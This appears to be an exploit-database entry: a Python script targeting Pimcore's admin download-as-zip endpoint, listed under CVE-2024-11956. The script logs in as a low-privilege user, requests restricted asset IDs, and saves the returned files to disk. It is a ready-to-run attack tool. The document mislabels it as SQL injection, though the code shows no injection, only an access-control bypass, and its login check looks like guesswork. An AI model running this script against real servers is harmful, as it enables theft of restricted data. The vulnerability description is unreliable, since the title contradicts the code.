Pimcore customer-data-framework 4.2.0 – SQL injection
# Exploit Title: Pimcore customer-data-framework 4.2.0 - SQL injection # Date: 01/28/2025 # Exploit Author: maeitsec # Vendor Homepage: https://pimcore.com/ # Software Link: https://github.com/pimcore/pimcore # Version: Pimcore versions prior to 10.5.21 # Tested on: Ubuntu 20.04 with Pimcore 10.5.20 # CVE: CVE-2024-11956 import requests # Replace with target URL and credentials TARGET_URL = "http://example.com/pimcore" USERNAME = "low_privilege_user" PASSWORD = "password123" # Authenticate and get session session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } login_response = session.post(f"{TARGET_URL}/admin/login", data=login_data) if "Login successful" in login_response.text: print("[+] Authenticated successfully.") # Exploit the downloadAsZip functionality download_url = f"{TARGET_URL}/admin/asset/download-as-zip" payload = { "ids[]": ["1", "2", "3"] # Replace with IDs of restricted files/folders } download_response = session.post(download_url, data=payload) if download_response.status_code == 200: print("[+] Exploit successful. Restricted files downloaded.") with open("restricted_files.zip", "wb") as f: f.write(download_response.content) else: print("[-] Exploit failed. Server returned:", download_response.status_code) else: print("[-] Authentication failed.") |